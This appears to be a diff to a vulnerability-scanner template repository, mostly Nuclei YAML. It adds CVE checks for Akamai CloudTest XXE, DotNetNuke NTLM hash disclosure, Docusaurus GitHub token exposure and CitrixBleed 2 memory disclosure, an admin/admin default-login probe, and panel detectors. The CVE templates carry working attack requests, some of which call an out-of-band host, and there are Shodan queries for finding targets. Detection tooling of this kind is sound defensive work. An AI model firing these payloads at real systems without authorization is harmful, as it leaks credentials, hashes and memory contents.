+# digest: 490a00463044022012e879aea17381fd8ac9491e896084ae9ca064efb316e972c236bdd7acd94b6a022011410db4774c2736d7ea8828e5fd585f75a8355060513109593034e8aac04aee:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-49493.yaml

@@ -0,0 +1,56 @@
+id: CVE-2025-49493
+
+info:
+  name: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
+  author: xbow,3th1c_yuk1
+  severity: critical
+  description: |
+    Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.
+  reference:
+    - https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
+    - https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-49493
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+    cvss-score: 9.1
+    cve-id: CVE-2025-49493
+    cwe-id: CWE-611
+    cpe: cpe:2.3:a:akamai:cloudtest:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"Akamai CloudTest"
+    vendor: akamai
+    product: cloudtest
+  tags: cve,cve2025,akamai,cloudtest,xxe,oast,rce
+
+http:
+  - raw:
+      - |
+        POST /concerto/services/RepositoryService HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/html
+        SOAPAction: ""
+
+        <?xml version="1.0" encoding="UTF-8"?>
+        <!DOCTYPE soapenv:Envelope [
+          <!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
+        ]>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+                          xmlns:rep="http://example.com/services/repository">
+           <soapenv:Header/>
+           <soapenv:Body>
+              <rep:getUIBundleObjectXml>
+                 <rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
+              </rep:getUIBundleObjectXml>
+           </soapenv:Body>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(content_type, "text/xml")'
+          - 'contains(body, "XML stream")'
+        condition: and
+# digest: 4b0a00483046022100c888390cfadfc28ea03beb24405be76198070b669820b3221384e76ca5ce009f0221009d8e82394ece4a213c231049a6646a8dba5b6bb1e2c5cfa182ac5a28c4ec3f6f:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-52488.yaml

@@ -0,0 +1,63 @@
+id: CVE-2025-52488
+
+info:
+  name: DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure
+  author: assetnote,DhiyaneshDk,iamnoooob,pdresearch
+  severity: high
+  description: |
+    DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.
+  reference:
+    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96
+    - https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/#hunting-variants
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+    cvss-score: 8.6
+    cve-id: CVE-2025-52488
+    cwe-id: CWE-200
+    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
+    epss-score: 0.00031
+    epss-percentile: 0.07222
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: dnnsoftware
+    product: dotnetnuke
+    shodan-query:
+      - "Set-Cookie: dnn_IsMobile"
+      - http.favicon.hash:-1465479343
+    fofa-query:
+      - app="dotnetnuke"
+      - "Set-Cookie: dnn_IsMobile"
+      - icon_hash="-1465479343"
+  tags: cve,cve2025,file-upload,dotnetnuke,oast,oob,dnnsoftware,oss,ntlm
+
+variables:
+  payload: "%EF%BC%BC%EF%BC%BC{{interactsh-url}}%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"
+
+http:
+  - raw:
+      - |
+        POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX
+
+        ------WebKitFormBoundaryXXXXXXXXXXXX
+        Content-Disposition: form-data; name="file"; filename="{{url_decode(replace(payload,'.','%EF%BC%8E'))}}"
+        Content-Type: image/jpeg
+
+        {{randstr}}
+        ------WebKitFormBoundaryXXXXXXXXXXXX--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
+
+      - type: dsl
+        dsl:
+          - "contains(to_lower(header), 'dnn_ismobile')"
+          - "contains_any(to_lower(body), 'dotnetnuke', 'dnnconnect', 'runtime error')"
+        condition: or
+# digest: 4b0a0048304602210089da827eece16420b3eb8e0ee48337db254e8035a4be03d68df991c932edcb63022100bc1eea7425f8c4446814874a5eaef37418e73f97e8c375caa0ce2d34f90e1e30:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-53624.yaml

@@ -0,0 +1,71 @@
+id: CVE-2025-53624
+
+info:
+  name: Docusaurus Gists Plugin < 4.0.0 - GitHub Personal Access Token Exposure
+  author: darses
+  severity: high
+  description: |
+    The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.
+  impact: |
+    A GitHub personal access token exposure vulnerability can grant an attacker unauthorized access to your repositories and organization resources, potentially leading to data exfiltration, code injection, and supply chain attacks.
+  remediation: |
+    Update docusaurus-plugin-content-gists to version 4.0.0+. Revoke access to the GitHub PAT that was used: https://github.com/settings/tokens.
+  reference:
+    - https://github.com/webbertakken/docusaurus-plugin-content-gists/commit/8d4230b82412edb215ddfa9e609d178510a5fe31
+    - https://github.com/webbertakken/docusaurus-plugin-content-gists/security/advisories/GHSA-qf34-qpr4-5pph
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53624
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
+    cvss-score: 8.6
+    cve-id: CVE-2025-53624
+    cwe-id: CWE-200
+  metadata:
+    max-request: 2
+    verified: true
+    vendor: webbertakken
+    product: docusaurus_plugin_content_gists
+    shodan-query: http.html:"Docusaurus"
+    fofa-query: body="Docusaurus"
+  tags: cve,cve2025,docusaurus,exposure
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "docusaurus_locale")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: js_file_url
+        group: 1
+        regex:
+          - '<script src="/(assets/js/main\.[^"]*\.js)"'
+        internal: true
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/{{js_file_url}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "personalAccessToken")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: github_token
+        group: 1
+        regex:
+          - ',personalAccessToken:"([^"]*)"}'
+# digest: 4a0a00473045022100835a9ed345fa3cfaf3cc33d8571ece0bb0f0b11ce4123db64e40329bdb036dc202201ffac15817793768745ad420f64e4e728e1247af24f3aa7abf25238e762e1a59:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-5777.yaml

@@ -0,0 +1,65 @@
+id: CVE-2025-5777
+
+info:
+  name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
+  author: watchtowr,DhiyaneshDk,darses
+  severity: critical
+  description: |
+    Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
+  reference:
+    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
+    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
+  classification:
+    epss-score: 0.00042
+    epss-percentile: 0.12361
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query:
+      - title:"NetScaler Gateway"
+      - title:"NetScaler AAA"
+      - http.favicon.hash:-1166125415
+      - http.favicon.hash:-1292923998
+    fofa-query:
+      - title="NetScaler Gateway"
+      - title="NetScaler AAA"
+      - icon_hash="-1166125415"
+      - icon_hash="-1292923998"
+  tags: cve,cve2025,netscaler,citrix,exposure
+
+http:
+  - raw:
+      - |+
+        POST /p/u/doAuthentication.do HTTP/1.0
+        Host: {{Hostname}}
+        bleed_attack: {{iteration}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Content-Length: 5
+
+        login
+
+    unsafe: true
+    payloads:
+      iteration:
+        - "{{rand_int(1,5)}}"
+
+    extractors:
+      - type: regex
+        name: iv
+        part: body
+        regex:
+          - '<InitialValue>([^<]{10,})</InitialValue>'
+        internal: true
+
+    stop-at-first-match: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'len(iv) > 0'
+          - 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
+          - '!contains(to_string(iv), "false")'
+          - '!contains(to_string(iv), "true")'
+          - '!contains(to_string(iv), "<InitialValue></InitialValue>")'
+        condition: and
+# digest: 4a0a0047304502206b67756161e3b05759fd9b89e48fc20df8b936eb68641538bf775f6622acb3cb022100a66c907bf2dc255cf92f5d45b38725b3fb77795d037772f710e8f78ed0c503bd:922c64590222798bb761d5b6d8e72950

http/default-logins/molgenis/molgenis-default-login.yaml

@@ -0,0 +1,47 @@
+id: molgenis-default-login
+
+info:
+  name: Molgenis - Default Login
+  author: ritikchaddha
+  severity: high
+  description: |
+    Attempts to login to Molgenis using the default credentials (admin/admin). Successful login may indicate a security risk due to unchanged default credentials.
+  reference:
+    - https://molgenis.org/
+    - https://github.com/molgenis/molgenis-emx2
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"MOLGENIS"
+  tags: molgenis,default-login,exposure
+
+variables:
+  username: 'admin'
+  password: 'admin'
+
+http:
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{username}}&password={{password}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: location
+        words:
+          - "/login?error"
+        negative: true
+
+      - type: word
+        part: header
+        words:
+          - "Set-Cookie: JSESSIONID="
+
+      - type: status
+        status:
+          - 302
+# digest: 4a0a00473045022100a2daa9f1e92b3991b1a7a83b9548d35ffd7b7a8304c36a08f2b37273174c787f0220701fd738588c17ddf6b2f7a511651d5399504a8079dc067986827e49233f1647:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ackee-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code==200 && contains(tolower(body), "<title>ackee")'
           - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
         condition: or
-# digest: 4a0a0047304502204b6264027e8b7a1c985db4762ea5894e3004e5b3ce8866098fda93ba641bfbe9022100cdcd07c0b393d76352444dfc62ba0dcd8bf7e753440807f2adc8b75eb52f56e9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b9f7b18f52d6b5c377ea7dbb4d6454edf3125dd9f9190190306e7d9a0bb3a6cc0220133baeb5eeed56002733abb82e372b032f8c4d7153b8d03ea8bcc273cf2d3dda:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adfinity-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4a0a0047304502202c52ca6b7402a5a1de9154abca1328f9690468f920f03f310d9998aac35bdb40022100fbad9722317d85e314e9d0047bef1fce29f43c65601b78676b76f53bd0614ec6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205051d47d16b582c6d543155eba0e75e7cb3229dee712e4b5b9d97a80425ead0c02207f1a2aba6a8e9ebd63b83a463fafda4cea71dfb18a69c3cd10882b16d0031039:922c64590222798bb761d5b6d8e72950

http/exposed-panels/akuiteo-panel.yaml

@@ -37,4 +37,4 @@ http:
         group: 1
         regex:
           - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a0047304502205b62ed2f4a959a92b78fc162224b39edca8df0df6941ad9ad71b7a3cb562f4cf02210097e7c46141107f829d88cee8bcf555ad53d88f0cdd8f13f62dcfa0a71d5c8821:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ba74abf09663296af1bca55b017055200771f2563c96f644dd767ea06fca76eb022074af26350c76810a9833117c148ba248a12de9735e76dae9587ce876a0b56997:922c64590222798bb761d5b6d8e72950

http/exposed-panels/amprion-gridloss-panel.yaml

@@ -31,4 +31,4 @@ http:
         group: 1
         regex:
           - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4b0a00483046022100ab6c79af5fe04c5c117a245cb8c7924027e8f867ef30d2f4aff2db48f5b445b60221008897293c5d5ba514eaf68c1631429bccf9de361371c5cb0119e8cfb9060adb63:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0338fe5b97d7c633ba5b00ce49e8bc71653331405f25e9d55bd5da4d5baf4270221009d189b7468886bb85e6b50265001628275e036cd8ff2cb2950d37cfc22a0f6d2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/apigee-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'Version:?\s+([0-9.]+)'
-# digest: 490a004630440220679d2a2d166edfec65d43b56d510cb30f04ee689b1200432a5cd52c1c99e65fa02203fe010a8880cb087ee8ae55de4f5222c013b9791da28e70ee865576d81d1be35:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008f16c5830558e8b396144fec5d19d1dfc468d0c6c5de1aa49c1ab225116e639902202f77b12e14229b379c5ecccb25a06c11ec33d0b571e1bcc4ffd6fe667b9c2b19:922c64590222798bb761d5b6d8e72950

http/exposed-panels/blue-yonder-panel.yaml

@@ -29,4 +29,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "title=\"blue yonder\"")'
         condition: and
-# digest: 490a00463044022040420b0f6abf304590b621f5159c6290869aab3eed9117f1bbf0323d55da8f5d0220686b0f8f3bd3fc43da407b26b28dd627ecdd66599982386515af6a50077b1b65:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022055a653de649328d383fc1436423051e46745ca51f4a8b3ad7da43c5bc6673c4c02204ebb050dcf6b1f0f5016dfcd81639c2696c3a06ac4237ec190e9c9d2be42c207:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-controlm-mft-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'contains(to_lower(body), "file exchange</title>")'
           - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
         condition: and
-# digest: 4b0a0048304602210097b61ac606e74e1f7fbc2d6f3289ad4797f5948dbf215bb27777fb300b6cdce7022100cf592f72e398fa8620702aa5ae7b5e18526c4348e92c6126bd17b70bbad07f90:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bdb915b6baeb7e5871ffd47e09cdb303e66616c139a917b4f99b7b801bfa5317022100b17f39ccef5a678eb20a774f1e7946f6f60d64efd8d4bce4822e2868ea22ad1e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-remedy-sso-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
         condition: and
-# digest: 490a00463044022002886070d1b2dacc931c7ea2e2a2e9d0327be43bb7d8f27ad5fe5d61dd08c11902200d4976290f1373e7cb5b7adf4483720301e5f84125e76138552732e394c9ddd1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eebca7f07c2c0f234ba2be95243411c8253c0572850b12e909f006f4a66c0b8d022044e70e669bd8718e56c1dc74671404bff2fad78abe1f8c64ebf87ffc94cb2b52:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bynder-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a0048304602210095264dfec0ebc5f2ff4fa5e7da98b26a0ca67633915cf0c4d8b3a6c8f24b7261022100e3259e21c5cfdbb29251bb8db6cf75446c47e5fd9e3f594258bbf8a895897dca:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100afa6ac481db723976b7f3d43e31562ed054d7e498bf34b2f1a27c36154dc8008022100dff04f6c280ffa01ac5f9cd690e902b512c1d4c32adca93cecfc7c210b57d61e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-cm-panel.yaml

@@ -0,0 +1,31 @@
+id: cisco-cm-panel
+
+info:
+  name: Cisco Unified CM Console - Panel
+  author: rxerium
+  severity: info
+  reference:
+    - https://www.cisco.com/c/en_uk/products/unified-communications/unified-communications-manager-callmanager/index.html
+  description: |
+    Cisco Unified CM Console panel was discovered.
+  metadata:
+    max-request: 1
+    shodan-query: html:"/ccmadmin/"
+  tags: cisco,ciscocm,panel,login
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ccmadmin/showHome.do"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<title>Cisco Unified CM Console"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100c7f3fc47bcb4367eef283cd927b2df3162c223dce378d31c33c344ce26d832340220619f4b18210231ccb4f7610c01d3a665d179dff5d4f42a0ab52a8dc5b9e1056e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-prime-license-manager-panel.yaml

@@ -0,0 +1,31 @@
+id: cisco-prime-license-manager-panel
+
+info:
+  name: Cisco Prime License Manager - Detect
+  author: rxerium
+  severity: info
+  reference:
+    - https://www.cisco.com/c/en/us/support/cloud-systems-management/prime-license-manager/series.html
+  description: |
+    Detected exposed Cisco Prime License Manager portals
+  metadata:
+    max-request: 1
+    shodan-query: http.title:"Cisco Prime License Manager"
+  tags: cisco,cisco-prime-license-manager,panel
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/elm-admin/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<title>Cisco Prime License Manager"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100a68308b28dd855715fc95d386c6214a25e8f959e2bf0e9759baca8e3cc770ed10221009e8e00ac8899724fbf494d458dc31cb7fec7c48ec5b479b277caff3f1590179a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cockpit-project-panel.yaml

@@ -47,4 +47,4 @@ http:
       - type: dsl
         dsl:
           - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 490a004630440220088fc8c21f4ff7b6f2e4cd6907e770383210ddd897d193799109379cf02666750220525f785628c06f611af67583d465d07239cdd806121ed398d767a721c69e8b87:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008494207163f27ad54a9c538b836b10d7a9090290dd83f17db9ffd635af454a31022007ed1699439d266b86a8bfbbaf9479dd965e82134209e53f1360b8b56abf95c0:922c64590222798bb761d5b6d8e72950

http/exposed-panels/easyvista-panel.yaml

@@ -33,4 +33,4 @@ http:
         regex:
           - '(?i)package:\s+"([a-z0-9._-]+)"'
           - '(?i)version : ([a-z0-9._-]+)'
-# digest: 4a0a00473045022100ebf12e87b71b0b83572f47f879b873b5300e23ba7df51306ddc7bff96fb3d1fb02205ab0fe41313e75565796b17ee96397e196fb58361f7b560f5d3bd33222b64386:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201de75b81838839d6f59c6bbb7d193b64d523fb82186d5e78da35c1be0971dda20220583a803595e115ef41af3a8fbdde345a86b21821df47778babb63a55f6fe485a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortirecorder-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100c39d9f00b5b903d8c110f25cb4b5649419f29d7664414dd38fe3837d93d8959502205b064a41b5aeb2c55079752389f2c0a95d7c359fa4af9dce5335167478e204d5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b136276fc6b48c4950ddb1177bf99a03a2af02177f42d35ae7f48cc40ee6b57a022100a4c24f7cc86c9ca4520aa7a1222defa2322508526374d3a952ab701dbc51d67f:922c64590222798bb761d5b6d8e72950